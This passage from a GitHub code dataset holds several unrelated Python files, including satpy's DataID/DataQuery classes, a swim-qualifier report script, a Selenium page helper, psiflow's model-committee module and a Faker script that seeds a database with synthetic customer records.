\"\"\"Create a new DataID from a dataarray's attributes.\"\"\"\n try:\n id_keys = array.attrs[\"_satpy_id\"].id_keys\n except KeyError:\n id_keys = array.attrs.get(\"_satpy_id_keys\", default_keys)\n return cls(id_keys, **array.attrs)\n\n @property\n def id_keys(self):\n \"\"\"Get the id_keys.\"\"\"\n return deepcopy(self._id_keys)\n\n def create_filter_query_without_required_fields(self, query):\n \"\"\"Remove the required fields from *query*.\"\"\"\n try:\n new_query = query.to_dict()\n except AttributeError:\n new_query = query.copy()\n for key, val in self._id_keys.items():\n if val and (val.get(\"transitive\") is not True):\n new_query.pop(key, None)\n return DataQuery.from_dict(new_query)\n\n def _asdict(self):\n return dict(self.items())\n\n def to_dict(self):\n \"\"\"Convert the ID to a dict.\"\"\"\n res_dict = dict()\n for key, value in self._asdict().items():\n if isinstance(value, Enum):\n res_dict[key] = value.name\n else:\n res_dict[key] = value\n return res_dict\n\n def __deepcopy__(self, memo=None):\n \"\"\"Copy this object.\n\n Returns self as it's immutable.\n \"\"\"\n return self\n\n def __copy__(self):\n \"\"\"Copy this object.\n\n Returns self as it's immutable.\n \"\"\"\n return self\n\n def __repr__(self):\n \"\"\"Represent the id.\"\"\"\n items = (\"{}={}\".format(key, repr(val)) for key, val in self.items())\n return self.__class__.__name__ + \"(\" + \", \".join(items) + \")\"\n\n def _replace(self, **kwargs):\n \"\"\"Make a new instance with replaced items.\"\"\"\n info = dict(self.items())\n info.update(kwargs)\n return self.from_dict(info)\n\n def __hash__(self):\n \"\"\"Hash the object.\"\"\"\n if self._hash is None:\n self._hash = hash(tuple(sorted(self.items())))\n return self._hash\n\n def _immutable(self, *args, **kws) -> NoReturn:\n \"\"\"Raise and error.\"\"\"\n raise TypeError(\"Cannot change a DataID\")\n\n def __lt__(self, other):\n \"\"\"Check lesser than.\"\"\"\n list_self, list_other = [], []\n for key in self._id_keys:\n if key not in self and key not in other:\n continue\n elif key in self and key in other:\n list_self.append(self[key])\n list_other.append(other[key])\n elif key in self:\n val = self[key]\n list_self.append(val)\n list_other.append(_generalize_value_for_comparison(val))\n elif key in other:\n val = other[key]\n list_other.append(val)\n list_self.append(_generalize_value_for_comparison(val))\n return tuple(list_self) < tuple(list_other)\n\n __setitem__ = _immutable\n __delitem__ = _immutable\n pop = _immutable # type: ignore\n popitem = _immutable\n clear = _immutable\n update = _immutable # type: ignore\n setdefault = _immutable # type: ignore\n\n def _find_modifiers_key(self):\n for key, val in self.items():\n if isinstance(val, ModifierTuple):\n return key\n raise KeyError\n\n def create_less_modified_query(self):\n \"\"\"Create a query with one less modifier.\"\"\"\n new_dict = self.to_dict()\n new_dict[\"modifiers\"] = tuple(new_dict[\"modifiers\"][:-1])\n return DataQuery.from_dict(new_dict)\n\n def is_modified(self):\n \"\"\"Check if this is modified.\"\"\"\n try:\n key = self._find_modifiers_key()\n except KeyError:\n return False\n return bool(self[key])\n\n\ndef _generalize_value_for_comparison(val):\n \"\"\"Get a generalize value for comparisons.\"\"\"\n if isinstance(val, numbers.Number):\n return 0\n if isinstance(val, str):\n return \"\"\n if isinstance(val, tuple):\n return tuple()\n\n raise NotImplementedError(\"Don't know how to generalize \" + str(type(val)))\n\n\nclass DataQuery:\n \"\"\"The data query object.\n\n A DataQuery can be used in Satpy to query for a Dataset. This way\n a fully qualified DataID can be found even if some DataID\n elements are unknown. In this case a `*` signifies something that is\n unknown or not applicable to the requested Dataset.\n \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"Initialize the query.\"\"\"\n self._dict = kwargs.copy()\n self._fields = tuple(self._dict.keys())\n self._values = tuple(self._dict.values())\n\n def __getitem__(self, key):\n \"\"\"Get an item.\"\"\"\n return self._dict[key]\n\n def __eq__(self, other):\n \"\"\"Compare the DataQuerys.\n\n A DataQuery is considered equal to another DataQuery or DataID\n if they have common keys that have equal values.\n \"\"\"\n sdict = self._asdict()\n try:\n odict = other._asdict()\n except AttributeError:\n return False\n common_keys = False\n for key, val in sdict.items():\n if key in odict:\n common_keys = True\n if odict[key] != val and val is not None:\n return False\n return common_keys\n\n def __hash__(self):\n \"\"\"Hash.\"\"\"\n fields = []\n values = []\n for field, value in sorted(self._dict.items()):\n if value != \"*\":\n fields.append(field)\n if isinstance(value, (list, set)):\n value = tuple(value)\n values.append(value)\n return hash(tuple(zip(fields, values)))\n\n def get(self, key, default=None):\n \"\"\"Get an item.\"\"\"\n return self._dict.get(key, default)\n\n @classmethod\n def from_dict(cls, the_dict):\n \"\"\"Convert a dict to an ID.\"\"\"\n return cls(**the_dict)\n\n def items(self):\n \"\"\"Get the items of this query.\"\"\"\n return self._dict.items()\n\n def _asdict(self):\n return self._dict.copy()\n\n def to_dict(self, trim=True):\n \"\"\"Convert the ID to a dict.\"\"\"\n if trim:\n return self._to_trimmed_dict()\n else:\n return self._asdict()\n\n def _to_trimmed_dict(self):\n return {key: val for key, val in self._dict.items()\n if val != \"*\"}\n\n def __repr__(self):\n \"\"\"Represent the query.\"\"\"\n items = (\"{}={}\".format(key, repr(val)) for key, val in zip(self._fields, self._values))\n return self.__class__.__name__ + \"(\" + \", \".join(items) + \")\"\n\n def filter_dataids(self, dataid_container):\n \"\"\"Filter DataIDs based on this query.\"\"\"\n keys = list(filter(self._match_dataid, dataid_container))\n\n return keys\n\n def _match_dataid(self, dataid):\n \"\"\"Match the dataid with the current query.\"\"\"\n if self._shares_required_keys(dataid):\n keys_to_check = set(dataid.keys()) & set(self._fields)\n else:\n keys_to_check = set(dataid._id_keys.keys()) & set(self._fields)\n if not keys_to_check:\n return False\n return all(self._match_query_value(key, dataid.get(key)) for key in keys_to_check)\n\n def _shares_required_keys(self, dataid):\n \"\"\"Check if dataid shares required keys with the current query.\"\"\"\n for key, val in dataid._id_keys.items():\n try:\n if val.get(\"required\", False):\n if key in self._fields:\n return True\n except AttributeError:\n continue\n return False\n\n def _match_query_value(self, key, id_val):\n val = self._dict[key]\n if val == \"*\":\n return True\n if isinstance(id_val, tuple) and isinstance(val, (tuple, list)):\n return tuple(val) == id_val\n if not isinstance(val, list):\n val = [val]\n return id_val in val\n\n def sort_dataids_with_preference(self, all_ids, preference):\n \"\"\"Sort `all_ids` given a sorting `preference` (DataQuery or None).\"\"\"\n try:\n res = preference.to_dict()\n except AttributeError:\n res = dict()\n res.update(self.to_dict())\n optimistic_query = DataQuery.from_dict(res)\n sorted_ids, distances = optimistic_query.sort_dataids(all_ids)\n if distances[0] == np.inf: # nothing matches the optimistic query\n sorted_ids, distances = self.sort_dataids(all_ids)\n return sorted_ids, distances\n\n def sort_dataids(self, dataids):\n \"\"\"Sort the DataIDs based on this query.\n\n Returns the sorted dataids and the list of distances.\n\n The sorting is performed based on the types of the keys to search on\n (as they are defined in the DataIDs from `dataids`).\n If that type defines a `distance` method, then it is used to find how\n 'far' the DataID is from the current query.\n If the type is a number, a simple subtraction is performed.\n For other types, the distance is 0 if the values are identical, np.inf\n otherwise.\n\n For example, with the default DataID, we use the following criteria:\n\n 1. Central wavelength is nearest to the `key` wavelength if\n specified.\n 2. Least modified dataset if `modifiers` is `None` in `key`.\n Otherwise, the modifiers are ignored.\n 3. Highest calibration if `calibration` is `None` in `key`.\n Calibration priority is the order of the calibration list defined as\n reflectance, brightness temperature, radiance counts if not overridden in the\n reader configuration.\n 4. Best resolution (smallest number) if `resolution` is `None`\n in `key`. Otherwise, the resolution is ignored.\n\n \"\"\"\n distances = []\n sorted_dataids = []\n big_distance = 100000\n keys = set(self._dict.keys())\n for dataid in dataids:\n keys |= set(dataid.keys())\n for dataid in sorted(dataids):\n sorted_dataids.append(dataid)\n distance = 0\n for key in keys:\n if distance == np.inf:\n break\n val = self._dict.get(key, \"*\")\n if val == \"*\":\n distance = self._add_absolute_distance(dataid, key, distance)\n else:\n try:\n dataid_val = dataid[key]\n except KeyError:\n distance += big_distance\n continue\n distance = self._add_distance_from_query(dataid_val, val, distance)\n distances.append(distance)\n distances, dataids = zip(*sorted(zip(distances, sorted_dataids)))\n return dataids, distances\n\n @staticmethod\n def _add_absolute_distance(dataid, key, distance):\n try:\n # for enums\n distance += dataid.get(key).value\n except AttributeError:\n if isinstance(dataid.get(key), numbers.Number):\n distance += dataid.get(key)\n elif isinstance(dataid.get(key), tuple):\n distance += len(dataid.get(key))\n return distance\n\n @staticmethod\n def _add_distance_from_query(dataid_val, requested_val, distance):\n try:\n distance += dataid_val.distance(requested_val)\n except AttributeError:\n if not isinstance(requested_val, list):\n requested_val = [requested_val]\n if dataid_val not in requested_val:\n distance = np.inf\n elif isinstance(dataid_val, numbers.Number):\n # so as to get the highest resolution first\n # FIXME: this ought to be clarified, not sure that\n # higher resolution is preferable is all cases.\n # Moreover this might break with other numerical\n # values.\n distance += dataid_val\n return distance\n\n def create_less_modified_query(self):\n \"\"\"Create a query with one less modifier.\"\"\"\n new_dict = self.to_dict()\n new_dict[\"modifiers\"] = tuple(new_dict[\"modifiers\"][:-1])\n return DataQuery.from_dict(new_dict)\n\n def is_modified(self):\n \"\"\"Check if this is modified.\"\"\"\n return bool(self._dict.get(\"modifiers\"))\n\n\ndef create_filtered_query(dataset_key, filter_query):\n \"\"\"Create a DataQuery matching *dataset_key* and *filter_query*.\n\n If a property is specified in both *dataset_key* and *filter_query*, the former\n has priority.\n\n \"\"\"\n ds_dict = _create_id_dict_from_any_key(dataset_key)\n _update_dict_with_filter_query(ds_dict, filter_query)\n\n return DataQuery.from_dict(ds_dict)\n\n\ndef _update_dict_with_filter_query(ds_dict, filter_query):\n if filter_query is not None:\n for key, value in filter_query.items():\n if value != \"*\":\n ds_dict.setdefault(key, value)\n\n\ndef _create_id_dict_from_any_key(dataset_key):\n try:\n ds_dict = dataset_key.to_dict()\n except AttributeError:\n if isinstance(dataset_key, str):\n ds_dict = {\"name\": dataset_key}\n elif isinstance(dataset_key, numbers.Number):\n ds_dict = {\"wavelength\": dataset_key}\n else:\n raise TypeError(\"Don't know how to interpret a dataset_key of type {}\".format(type(dataset_key)))\n return ds_dict\n","repo_name":"pytroll/satpy","sub_path":"satpy/dataset/dataid.py","file_name":"dataid.py","file_ext":"py","file_size_in_byte":25114,"program_lang":"python","lang":"en","doc_type":"code","stars":969,"dataset":"github-code","pt":"29"} +{"seq_id":"37987728715","text":"def is_happy(number: int) -> bool:\r\n \"\"\"\r\n Returns True if a number is happy, else False.\r\n \"\"\"\r\n while True:\r\n number = sum(digit ** 2 for digit in map(int, str(number)))\r\n if number == 1:\r\n return True\r\n elif number == 4:\r\n return False\r\n\r\n\r\ndef test():\r\n for i in range(1, 100):\r\n print(i, is_happy(i), end=\" \")\r\n\r\n\r\ntest()","repo_name":"leoz0214/Year-12-Computer-Science","sub_path":"TIME Programming 6 - While Loops/happy_numbers.py","file_name":"happy_numbers.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1177340930","text":"import logging\nimport time\nimport datetime\nimport helpers\nimport re\nimport math\n\nfrom operator import attrgetter\n\nfrom swim import Swim\nfrom swimmer import Swimmer\nfrom race_time import RaceTime\n\nfrom event import short_course_events\nfrom qualifying_times import get_qualifying_time\n\nfolder = 'f:/SwimLists/'\nswim_list_file = open( folder + 'SwimList.txt', 'r' )\nqt_file = open( folder + 'Qualifiers.txt', 'w' )\nqt_html_file = open( folder + 'Qualifiers.html', 'w' )\nage_on_date_str = '31/12/2016'\nearliest_pb_date_str = '8/6/2015'\nmaximum_age = 21 # Any swimmer older will be excluded\n\nlevel_4_meets = {\n\"Winsford Club Championships\"\n}\n# Swimmers that are in our database that no longer swim for Winsford\nexcluded_swimmers = {\n\"Alisha Hawkins\",\n\"Ashley Hogg\"\n}\n\nage_on_date = helpers.ParseDate_dmY( age_on_date_str )\nearliest_pb_date = helpers.ParseDate_dmY( earliest_pb_date_str )\nnum_events = len( short_course_events )\n\nclass ConsiderationTime():\n def __init__(self, event, time, reason, is_nt):\n self.event = event\n self.time = time\n self.reason = reason\n self.is_nt = is_nt\n\nclass SwimmerTimes():\n def __init__(self, swimmer, full_name):\n self.swimmer = swimmer\n self.full_name = full_name\n self.consideration_times = []\n\nall_swimmer_times = []\nentries = {}\n \ndef process_swimmer( swimmer, swims ):\n age = helpers.CalcAge( swimmer.date_of_birth, age_on_date )\n \n full_name = swimmer.full_name()\n if full_name in excluded_swimmers:\n return;\n\n if age > maximum_age:\n return\n \n # Find PB in the qualifying window, and qualifying PB\n pb_by_event = []\n qual_pb_by_event = []\n for i in range( 0, num_events ):\n pb_by_event.append( None )\n qual_pb_by_event.append( None )\n for swim in swims:\n if swim.date >= earliest_pb_date:\n event_code = swim.event.get_short_course_event_code()\n swim.converted_time = swim.race_time\n swim.qualifies = not (swim.meet in level_4_meets)\n if not swim.event.is_long_course():\n swim.converted_time = swim.event.convert_time( swim.race_time )\n # Truncate to 0.1s\n swim.converted_time = math.floor(swim.converted_time * 10) * 0.1\n \n pb = pb_by_event[ event_code ]\n qual_pb = qual_pb_by_event[ event_code ]\n if swim.qualifies and ((qual_pb is None) or (swim.converted_time < qual_pb.converted_time)):\n qual_pb_by_event[ event_code ] = swim\n if (pb is None) or (swim.converted_time < pb.converted_time):\n pb_by_event[ event_code ] = swim\n\n printed_name = False\n for i in range( 0, num_events ):\n pb = qual_pb_by_event[i]\n if pb is None:\n pb = pb_by_event[i]\n if pb is not None:\n qt = get_qualifying_time( i, swimmer.is_male, age )\n if qt is not None:\n race_time = pb.converted_time\n if race_time <= qt:\n tag_class = \"qualified\"\n if not pb.qualifies:\n tag_class = \"not-qualified\"\n if not printed_name:\n qt_file.write( full_name + \" (\" + str(age) + \")\\n\" )\n qt_html_file.write( '<tr class=\"name\"><th colspan=\"5\">' + full_name + \" (\" + str(age) + \")</th></tr>\\n\" )\n printed_name = True\n qt_file.write( \"\\t\" + pb.event.short_name_without_course() + \"\\t\" + str( RaceTime( race_time ) ) + \"\\t\" + pb.meet + \"\\t\" + pb.date.strftime( '%d/%m/%Y' ) + \"\\n\" )\n qt_html_file.write( '<tr class=\"' + tag_class + '\"><td> </td><td>' + pb.event.short_name_without_course() + \"</td><td>\" + str( RaceTime( race_time ) ) + \"</td><td>\" + pb.meet + \"</td><td>\" + pb.date.strftime( '%d/%m/%Y' ) + \"</td></tr>\\n\" )\n if printed_name:\n qt_file.write( \"\\n\" )\n\nqt_html_file.write( '<table>' ) \n\n# Read the swim list\nreading_swims = False\nswimmer = None\nswims = []\nfor line in swim_list_file:\n if reading_swims:\n if len( line ) <= 1:\n # Empty line. So we've finished reading all the swims for a swimmer\n reading_swims = False\n process_swimmer( swimmer, swims )\n swims = []\n else:\n # Expect the line to be a Swim\n swim = Swim( line )\n swims.append( swim )\n else:\n # Expect the line to be a Swimmer\n swimmer = Swimmer( line )\n reading_swims = True\n\n# We've read the entire file.\nif reading_swims:\n # We won't have processed the final swimmer...\n reading_swims = False\n process_swimmer( swimmer, swims )\n swims = []\n \n# Now we produce the output files\n\n# print( 'Writing file' )\n# first = True\n# for swimmer_times in all_swimmer_times:\n # if not first:\n # consideration_times_file.write( '\\n' )\n # swimmer = swimmer_times.swimmer\n # consideration_times_file.write( str( swimmer ) + '\\n' )\n # for consideration_time in swimmer_times.consideration_times:\n # if consideration_time.time is not None:\n # is_pb_str = 'pb'\n # if consideration_time.is_nt:\n # is_pb_str = 'nt'\n # consideration_times_file.write( consideration_time.event.short_name_without_course() + '|' + str( RaceTime( consideration_time.time ) ) + '|' + is_pb_str + '\\n' )\n # first = False\nqt_file.close() \n\nqt_html_file.write( '</table>' ) \nqt_html_file.close() \n\n","repo_name":"OliWright/ClubChamps","sub_path":"find_qualifiers.py","file_name":"find_qualifiers.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21836199299","text":"from .base_sensor import BaseSensor\nfrom .exceptions import SensorError, SensorNotReadyError\n\n\nclass TableSensor(BaseSensor):\n def __init__(self, table_name):\n super().__init__(table_name)\n self.query = self._get_query()\n\n def _get_query(self):\n try:\n return self.query_path.read_text().strip()\n except AttributeError:\n return None\n\n def run(self, date=None, date_correction=False):\n date = self._prepare_date(date, date_correction)\n print(f\"Starting (date: {date}):\\n{self}\")\n query = self.query.format(date=date)\n print(f\"Query: {query}\")\n try:\n response = self.db.read(query)\n except Exception as e:\n raise SensorError(f\"ERROR: {e}\")\n if response.shape[0] > 0:\n response = response.iloc[0, 0]\n if response:\n print(f\"Success: {response}\")\n return True\n else:\n raise SensorNotReadyError(f\"FAILURE: Got negative response: {response} for query: {query}\")\n else:\n raise SensorNotReadyError(f\"ERROR: Empty response for query: {query}\")\n","repo_name":"atomicai/vdorogu","sub_path":"external/ranker/trgetl/sensor/table_sensor.py","file_name":"table_sensor.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73272534477","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# 都君丨大魔王\nimport time\nimport re\nfrom public import api\nfrom page_object.view_page import ViewPage\n\n\nclass OperateView:\n def __init__(self, browser):\n self.browser = browser\n self.view_page = ViewPage(self.browser)\n\n def switch_window(self, window_index=0):\n \"\"\"\n 切换语谱图窗口\n :param window_index: 语谱图窗口号,从0开始\n :return: None\n \"\"\"\n self.view_page.view_window(window_index).click()\n\n def switch_tab(self, tab_name, window_index=0):\n \"\"\"\n 切换音素操作窗口的标签页\n :param tab_name: 标签页名称\n :param window_index: 语谱图窗口号,从0开始\n :return: None\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n self.view_page.phoneme_window_tab(view_window, tab_name).click()\n\n def add_tag(self, window_index=0):\n \"\"\"\n 给音素添加标记\n :param window_index: 语谱图窗口序号,从0开始\n :return: None\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n tag_button_list = self.view_page.phoneme_tag_button(view_window)\n tag_button_list[0].click()\n\n def del_all_tag(self, window_index=0):\n \"\"\"\n 全选标记进行删除\n :param window_index: 语谱图窗口序号,从0开始\n :return: None\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n # 点击【全选】按钮\n self.view_page.tag_check_box(view_window)[0].click()\n self.view_page.tag_operate_button(view_window, '批量删除').click()\n time.sleep(0.5)\n warning_window = api.level_2_window(self.browser)\n api.level_window_button(warning_window, '确定').click()\n time.sleep(0.5)\n\n def get_tag_and_phoneme_num(self, tab_name, window_index=0):\n \"\"\"\n 获取括号里面的数字,可用作获取:标记数量、元素数量等\n :param tab_name: 标签页名称(标记、音素)\n :param window_index: 语谱图窗口序号\n :return: 标记或者音素个数\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n tab = self.view_page.phoneme_window_tab(view_window, tab_name)\n tab_text = tab.text\n result = re.search('((.*))', tab_text)\n num = int(result.group(1))\n return num\n\n def filter_phoneme(self, window_index=0):\n \"\"\"\n 过滤音素\n :param window_index: 语谱图窗口序号,从0开始\n :return: None\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n filter_button_list = self.view_page.phoneme_filter_button(view_window)\n filter_button_list[0].click()\n\n def get_filter_num(self, window_index=0):\n \"\"\"\n 获得过滤的音素数量\n :param window_index: 语谱图窗口序号,从0开始\n :return: 过滤的音素数量\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n filter_title = self.view_page.phoneme_list_title(view_window, '过滤')\n filter_text = filter_title.text\n result = re.search(r\"\\((.*)\\)\", filter_text)\n filter_num = int(result.group(1))\n return filter_num\n\n def cancel_filter_phoneme(self, window_index=0):\n \"\"\"\n 取消过滤音素\n :param window_index: 语谱图窗口序号,从0开始\n :return: None\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n self.view_page.cancel_filter_button(view_window).click()\n\n def add_spectrum_window(self):\n \"\"\"\n 新增视图窗口\n :return: None\n \"\"\"\n self.view_page.add_window_button().click()\n\n def close_spectrum_window(self, window_index: int):\n \"\"\"\n 关闭视图窗口\n :param window_index: 视图窗口序号\n :return: None\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n self.view_page.spectrum_window_top_element(view_window, element_name='关闭').click()\n\n def add_file(self, window_index: int, sampling_rate='16K'):\n \"\"\"\n 新建文件\n :param window_index: 视图窗口序号\n :param sampling_rate: 采样率(只能是8K/16K/32K)\n :return: None\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n # 点击【新建文件】按钮\n self.view_page.add_file_button(view_window, button_index=0).click()\n choose_sampling_rate_window = api.level_2_window(self.browser)\n # 选择采样率\n self.view_page.sampling_rate_radio_button(choose_sampling_rate_window, sampling_rate).click()\n time.sleep(0.5)\n api.level_window_button(choose_sampling_rate_window, button_name='确定').click()\n\n def get_sampling_rate(self, window_index: int):\n \"\"\"\n 获得语谱图的采样率信息\n :param window_index: 视图窗口序号\n :return: 语谱图的采样率信息\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n sampling_rate = self.view_page.spectrum_window_top_element(view_window, '采样率').text\n return sampling_rate\n\n def get_audio_name(self, window_index: int):\n \"\"\"\n 获得视图窗口中的音频名称\n :param window_index: 视图窗口序号\n :return: 音频名称\n \"\"\"\n view_window = self.view_page.view_window(window_index)\n audio_name = self.view_page.audio_name(view_window).text\n return audio_name\n\n\nif __name__ == '__main__':\n driver = api.login()\n # 打开案件\n from operate.operate_case import OperateCase\n operate_case = OperateCase(driver)\n operate_case.open_case('都君AutoTest')\n time.sleep(1)\n # 创建语谱图操作对象\n operate_view = OperateView(driver)\n operate_view.del_all_tag()\n api.browser_quit(driver)\n","repo_name":"yaohongyi/identify_ui_test","sub_path":"operate/operate_view.py","file_name":"operate_view.py","file_ext":"py","file_size_in_byte":5992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3558851898","text":"from __future__ import annotations # necessary for type-guarding class methods\n\nfrom pathlib import Path\nfrom typing import Optional, Union\n\nimport numpy as np\nimport typeguard\nimport yaml\nfrom parsl.app.app import python_app\nfrom parsl.data_provider.files import File\nfrom parsl.dataflow.futures import AppFuture\n\nimport psiflow\nfrom psiflow.data import Dataset, NullState\nfrom psiflow.models import BaseModel, load_model\n\n\n@typeguard.typechecked\ndef _compute_disagreements(\n metric: str,\n inputs: list[File] = [],\n outputs: list[File] = [],\n) -> np.ndarray:\n import numpy as np\n\n from psiflow.data import read_dataset\n\n data = []\n assert len(inputs) > 0\n for inp in inputs:\n _data = read_dataset(slice(None), inputs=[inp])\n data.append(_data)\n lengths = [len(d) for d in data]\n assert lengths[0] > 0\n for length in lengths:\n assert length == lengths[0]\n disagreements = np.zeros(lengths[0])\n if metric == \"mean_force\":\n for i in range(lengths[0]):\n forces = np.zeros((len(inputs), len(data[0][i]), 3))\n for j in range(len(inputs)):\n if data[j][i] == NullState:\n assert j == 0 # nullstates do not depend on j\n break\n forces[j, :] = data[j][i].arrays[\"forces\"]\n SE = (forces - np.mean(forces, axis=0, keepdims=True)) ** 2\n RMSE = np.sqrt(np.mean(SE))\n disagreements[i] = RMSE\n else:\n raise NotImplementedError(\"unknown metric \" + metric)\n return disagreements\n\n\ncompute_disagreements = python_app(\n _compute_disagreements, executors=[\"default_threads\"]\n)\n\n\n# expose outside filter app to reproduce filtering behavior elsewhere\n@typeguard.typechecked\ndef _filter_disagreements(disagreements: np.ndarray, nstates: int):\n if nstates >= len(disagreements):\n indices = np.arange(len(disagreements))\n else:\n indices = np.argsort(disagreements)[-nstates:][::-1]\n return indices\n\n\nfilter_disagreements = python_app(_filter_disagreements, executors=[\"default_threads\"]) # fmt: skip\n\n\n@typeguard.typechecked\ndef _extract_highest(\n disagreements: np.ndarray,\n nstates: Optional[int] = None,\n inputs: list[File] = [],\n outputs: list[File] = [],\n) -> None:\n from psiflow.committee import _filter_disagreements\n from psiflow.data import read_dataset, write_dataset\n\n data = read_dataset(slice(None), inputs=[inputs[0]])\n assert len(data) == len(disagreements)\n indices = _filter_disagreements(disagreements, nstates)\n write_dataset(\n [data[i] for i in indices],\n outputs=[outputs[0]],\n )\n\n\nextract_highest = python_app(_extract_highest, executors=[\"default_threads\"])\n\n\n@typeguard.typechecked\nclass Committee:\n def __init__(\n self,\n models: list[BaseModel],\n metric: str = \"mean_force\",\n ):\n self.models = models\n self.metric = metric\n for i, model in enumerate(self.models):\n model.seed = i\n\n def compute_disagreements(self, data: Dataset) -> AppFuture[np.ndarray]:\n inputs = [m.evaluate(data).data_future for m in self.models]\n disagreements = compute_disagreements(\n self.metric,\n inputs=inputs,\n )\n return disagreements\n\n def apply(self, data: Dataset, nstates: int) -> tuple[Dataset, AppFuture]:\n disagreements = self.compute_disagreements(data)\n future = extract_highest(\n disagreements,\n nstates=nstates,\n inputs=[data.data_future],\n outputs=[psiflow.context().new_file(\"data_\", \".xyz\")],\n )\n return Dataset(None, data_future=future.outputs[0]), disagreements\n\n def train(self, training, validation) -> None:\n for model in self.models:\n model.reset()\n model.seed += len(self.models)\n model.initialize(training)\n model.train(training, validation)\n\n def save(\n self,\n path: Union[Path, str],\n require_done: bool = True,\n ):\n path = Path(path)\n path.mkdir(exist_ok=True, parents=True)\n for i, model in enumerate(self.models):\n model.save(path / str(i), require_done)\n\n @classmethod\n def load(cls, path: Union[Path, str]) -> Committee:\n path = Path(path)\n assert path.exists()\n assert (path / \"Committee.yaml\").exists()\n with open(path / \"Committee.yaml\", \"r\") as f:\n kwargs = yaml.load(f, Loader=yaml.FullLoader)\n models = []\n i = 0\n while (path / str(i)).exists():\n models.append(load_model(path / str(i)))\n i += 1\n return cls(models, **kwargs)\n","repo_name":"molmod/psiflow","sub_path":"psiflow/committee.py","file_name":"committee.py","file_ext":"py","file_size_in_byte":4710,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"29"} +{"seq_id":"71333279758","text":"#!/usr/bin/env python3\n\nfrom dataclasses import astuple, dataclass\nfrom datetime import datetime, date\nfrom os import getenv\nfrom random import choice, uniform\n\nfrom dotenv import load_dotenv\nfrom faker import Faker\n\nfrom db import get_connector\nfrom encrypt import encrypt\n\n\n@dataclass\nclass Address:\n\tid: str\n\tcity: str\n\tstreet: str\n\tbuilding: int\n\tpost_code: str\n\n\n@dataclass\nclass CreditCard:\n\tid: str\n\tprovider: str\n\tnumber: str\n\tcvv: int\n\texpire_date: date\n\n\n@dataclass\nclass Customer:\n\tid: str\n\tfirst_name: str\n\tlast_name: str\n\tpassword: str\n\tbirth_date: date\n\tphone_number: str\n\tbalance: float\n\taddress_id: str\n\tcredit_card_id: str\n\n\nclass DataGenerator(Faker):\n\n\tdef __init__(self, *args, city_count=50, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.cities = [self.unique.city() for _ in range(city_count)]\n\n\tdef address(self):\n\t\treturn Address(\n\t\t\tid = self.uuid4(),\n\t\t\tcity = choice(self.cities),\n\t\t\tstreet = self.street_name(),\n\t\t\tbuilding = self.building_number(),\n\t\t\tpost_code = self.postcode()\n\t\t)\n\n\tdef credit_card(self):\n\t\treturn CreditCard(\n\t\t\tid = self.uuid4(),\n\t\t\tprovider = self.credit_card_provider(),\n\t\t\tnumber = self.credit_card_number(),\n\t\t\tcvv = self.credit_card_security_code(),\n\t\t\texpire_date = datetime.strptime(\n\t\t\t\tself.credit_card_expire(),\n\t\t\t\t'%m/%y'\n\t\t\t).date()\n\t\t)\n\n\tdef customer(self, address, credit_card):\n\t\treturn Customer(\n\t\t\tid = self.uuid4(),\n\t\t\tfirst_name = self.first_name(),\n\t\t\tlast_name = self.last_name(),\n\t\t\tpassword = encrypt(self.password()),\n\t\t\tbirth_date = self.date_between(start_date='-70y', end_date='-20y'),\n\t\t\tphone_number = self.phone_number(),\n\t\t\tbalance = round(uniform(500, 10_000), 2),\n\t\t\taddress_id = address.id,\n\t\t\tcredit_card_id = credit_card.id\n\t\t)\n\n\tdef all(self):\n\t\taddress = self.address()\n\t\tcredit_card = self.credit_card()\n\t\tcustomer = self.customer(address, credit_card)\n\t\treturn address, credit_card, customer\n\n\ndef load_query(name):\n\twith open(f'{getenv(\"RDBMS\")}/queries/{name}.sql', 'rt') as f:\n\t\treturn f.read()\n\n\ndef generate_data(d, c, queries):\n\taddress, credit_card, customer = d.all()\n\tc.execute(\n\t\tqueries['insert_address'],\n\t\tastuple(address)\n\t)\n\tc.execute(\n\t\tqueries['insert_credit_card'],\n\t\tastuple(credit_card)\n\t)\n\tc.execute(\n\t\tqueries['insert_customer'],\n\t\tastuple(customer)\n\t)\n\n\ndef main():\n\tload_dotenv(override=True)\n\n\tconnection_args = {\n\t\t'host': getenv('HOST'),\n\t\t'port': getenv('PORT'),\n\t\t'database': getenv('DB'),\n\t\t'user': getenv('USER'),\n\t\t'password': getenv('PASSWORD'),\n\t}\n\tn = int(getenv('ROW_COUNT'))\n\td = DataGenerator(city_count=int(getenv('CITY_COUNT')))\n\n\tqueries = {\n\t\tname: load_query(name) for name in (\n\t\t\t'insert_address', 'insert_credit_card', 'insert_customer'\n\t\t)\n\t}\n\n\twith get_connector().connect(**connection_args) as conn:\n\t\twith conn.cursor() as c:\n\t\t\tfor i in range(n):\n\t\t\t\tgenerate_data(d, c, queries)\n\t\t\t\tprint(f'Generated {i + 1}/{n}')\n\n\t\tconn.commit()\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"ksaweryr/Database-Faker","sub_path":"src/generate_data.py","file_name":"generate_data.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"10219499024","text":"s=input()\nb=[]\nc=0\nfor i in range(len(s)):\n if(s.count(s[i])==1):\n b.append(s[i])\n c+=1\n break\nif(c==0):\n 